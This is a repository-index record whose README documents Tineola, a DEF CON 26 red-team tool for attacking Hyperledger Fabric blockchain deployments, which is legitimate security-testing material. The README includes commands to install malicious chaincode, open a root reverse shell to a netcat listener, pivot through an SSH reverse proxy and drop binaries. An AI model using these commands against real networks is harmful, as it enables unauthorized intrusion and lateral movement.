{"id":13416046,"url":"https://github.com/tineola/tineola","last_synced_at":"2026-01-14T12:40:48.199Z","repository":{"id":44166930,"uuid":"140746749","full_name":"tineola/tineola","owner":"tineola","description":"Blockchains. Destruction. Mayhem.","archived":false,"fork":false,"pushed_at":"2022-12-07T22:42:38.000Z","size":4021,"stargazers_count":50,"open_issues_count":5,"forks_count":5,"subscribers_count":8,"default_branch":"master","last_synced_at":"2025-07-23T10:53:25.522Z","etag":null,"topics":["blockchain","enterprise","hyperledger-fabric","security"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/tineola.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2018-07-12T17:49:10.000Z","updated_at":"2024-09-19T22:09:15.000Z","dependencies_parsed_at":"2023-01-24T23:30:21.461Z","dependency_job_id":null,"html_url":"https://github.com/tineola/tineola","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/tineola/tineola","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tineola%2Ftineola","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tineola%2Ftineola/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tineola%2Ftineola/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tineola%2Ftineola/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tineola","download_url":"https://codeload.github.com/tineola/tineola/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tineola%2Ftineola/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":28420814,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-01-14T10:47:48.104Z","status":"ssl_error","status_checked_at":"2026-01-14T10:46:19.031Z","response_time":107,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["blockchain","enterprise","hyperledger-fabric","security"],"created_at":"2024-07-30T21:00:53.894Z","updated_at":"2026-01-14T12:40:48.177Z","avatar_url":"https://github.com/tineola.png","language":"JavaScript","funding_links":[],"categories":["Tools","JavaScript"],"sub_categories":["Other"],"readme":"# Introducing Tineola\n\n**Read the [Whitepaper](https://github.com/tineola/tineola/raw/master/docs/TineolaWhitepaper.pdf) and [DEF CON 26 Slides](/docs/Tineola-Slides-Defcon26.pdf).**\n\nWatch the DEF CON talk on Youtube:\n\n* https://www.youtube.com/watch?v=xKYIde5jh_8\n\n[Comitting insurance fraud with Tineola](https://github.com/tineola/tineola/wiki/Committing-Insurance-Fraud-with-Tineola) is a hands-on tutorial to hack the insurance app. It's a step-by-step guide to recreating the presentation demos.\n\n![Tineola Logo](docs/tineola_logo.png)\n\nTineola is a red team tool for interfacing with **Hyperledger Fabric** deployments, networks, and chaincodes.\nTineola is designed to work in as many configurations as possible, and require only the bare minimum configuration to get started.\nTineola also ships with *tineolacc*, special chaincode for performing evil peer attacks.\n\nThis tool was originally released on Aug 12, 2018 at DefCon 26 by [Stark Riedesel](https://github.com/starkriedesel), [Parsia Hakimian](https://parsiya.net), Koen Buyens, and Travis Biehn.\n\n\n# Installing Tineola\nTineola requires NodeJS 8.x only. 10.x fails to validate GRPC/S certificates correctly when we override them in code and 12.x is not supported by the x509 parsing package we use.\n1. git clone https://github.com/tineola/tineola\n2. cd tineola; npm install\n3. cd bin; ./tineola.js\n\nTineola will load a `.tineola-rc` file from the current directory (if it exists) upon loading and execute any commands found within.\n\n# Getting Started\nTineola is an interactive command-line application with commands split into modules. The following is a list of common actions and the associated Tineola commands. A complete list of commands can be obtained by using the `help` command. Command syntax can be displayed with the `-help` flag.\n\n#### Authenticating to a CA server for the first time (aka Enrollment)\n\n```\ntineola\u003e ca-set https://ca.example.com:7050\n\ntineola\u003e user-set admin\n\ntineola\u003e ca-enroll adminpw ExampleOrgMSP\n```\n\nAfter these commands, the admin user has been enrolled into Tineola's keystore. Subsequent use of Tineola with the same CA server and user will not need re-enrollment. Simply using the `user-set admin` is sufficient for loading local user keys.\n\n#### Connecting to a peer and listing existing channels\n\n```\ntineola\u003e user-set admin\n\ntineola\u003e peer-set grpcs://peer1.example.com:7051\n\ntineola\u003e peer-list-channels\n```\n\n#### Connecting to a channel and show last 20 blocks\n\n```\ntineola\u003e user-set admin\n\ntineola\u003e per-set grpcs://peer1.example.com:7051\n\ntineola\u003e channel-set testChan\n\ntineola\u003e channel-history --last 20\n```\n\n#### Query/Invoke existing chaincode\n\nQuerying refers to calling a chaincode function and receiving a response, but without ordering the transaction. The result is a \"Read-only\" chaincode call.\n\nInvoking refers to calling a chaincode function and ordering the response which allows it to be read \u0026 write.\n\nBoth actions use the `channel-query-cc` Tineola command with or without the `--invoke` flag.\n\nInvocation requires an orderer to be set.\n\nNote: invoking requires the endorsement policy to be met, whereas querying does not.\n\n```\ntineola\u003e user-set admin\n\ntineola\u003e peer-set grpcs://peer1.example.com:7051\n\ntineola\u003e channel-set testChan\n\ntineola\u003e channel-query-cc ccName ccFuncName\n\ntineola\u003e orderer-set grpcs://orderer1.example.com:7050\n\ntineola\u003e channel-query-cc --invoke ccName ccFuncName\n```\n\n#### Installing the Tineola chaincode\n\nMost commands in the \"tineola\" module require the \"tineolacc\" chaincode to be installed to the peer.\n\nNote that this action requires a **peer administrator** certificate to be accomplished and be acceptable to the channel endorsement policy.\n\n```\ntineola\u003e user-set peerAdmin\n\ntineola\u003e channel-set testChan\n\ntineola\u003e tineola-install\n```\n\n#### Reverse shell from the Tineola chaincode\n\nStart a tcp listener on the Tineola machine (`10.0.0.5` in this example)\n```\nnc -l 31337\n```\n\nUse Tineola to launch the chaincode\n```\ntineola\u003e user-set admin\n\ntineola\u003e channel-set testChan\n\ntineola\u003e tineola-shell 10.0.0.5:31337\n```\n\nThe tcp listener should be given a root shell within the chaincode container. This container is a bare Ubuntu image. Use `apt update` and `apt install ...` to download packages if the peer is internet connected. If the peer is not internet connected, the `tineola-http-drop` command can be used to drop useful binaries like nmap.\n\n#### Creating a reverse proxy with the Tineola chaincode\n\nIt may be useful to pivot through the chaincode container to access hidden network services such as CouchDB containers or other peers.\nThe following assumes the Tineola machine is at `10.0.0.5`, has ssh installed and running.\nThe Tineola chaincode uses private key authentication to connect over ssh back to the Tineola machine.\nAn allowed ssh private key should be present at `~/tineola-ssh-key` for tineola to use.\n\nNote: make sure to disallow this key after using Tineola.\n\nTineola makes no effort to encrypt or otherwise hide this key during or after use by the chaincode.\nThis key will likely be present on the chaincode container indefinitely.\nKeys can be generated using `ssh-keygen` and installed to `~/.ssh/authorized` keys.\nThe username below \"user\" should be changed to match the username of the tineola machine.\nThe target should be in the form `IP:PORT` and is `10.10.0.100:1234` in the example below.\n\n```\ntineola\u003e user-set admin\n\ntineola\u003e user-set channel-set testChan\n\ntineola\u003e peer-set grpcs://peer1.example.com:7051\n\ntineola\u003e tineola-ssh-proxy 10.10.0.100:1234 10.0.0.5 user ~/tineola-ssh-key\n```\n\n#### Using Tineola with Burp or another HTTP-base application proxy/scanner\n\nIt may be useful to connect Tineola to an application scanner or proxy for ease of use when testing chaincode.\nFurther, many Fabric deployments will use chain data in web applications upstream, making web application scanners great for detecting web vulnerability originating from chaincode.\n\n```\ntineola\u003e user-set admin\n\ntineola\u003e peer-set grpcs://peer1.example.com:7051\n\ntineola\u003e channel-set testChans\n\ntineola\u003e orderer-set grpcs://orderer1.example:7050\n\ntineola\u003e tineola-http-proxy\n```\n\nNext, configure the HTTP scanner to use the port opened locally (default: `localhost:8888`).\nThe format of HTTP requests should be:\n\n``` json\nPOST /ccName/funcName HTTP/1.1\nHLF-Invoke: yes\n\n[\"arguments\",\"as\", \"json\"]\n```\n\nThe `HLF-Invoke` header controls whether or not to send the request for ordering.\nIf `HLF-Invoke` is set to \"no\" the query will be made read only but responses can still be collected from the chaincode.\nThe orderer is not needed to be configured if invoking is disabled.\n\n## License\nThis software is released by Synopsys under the [MIT license](LICENSE).\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftineola%2Ftineola","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ftineola%2Ftineola","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftineola%2Ftineola/lists"}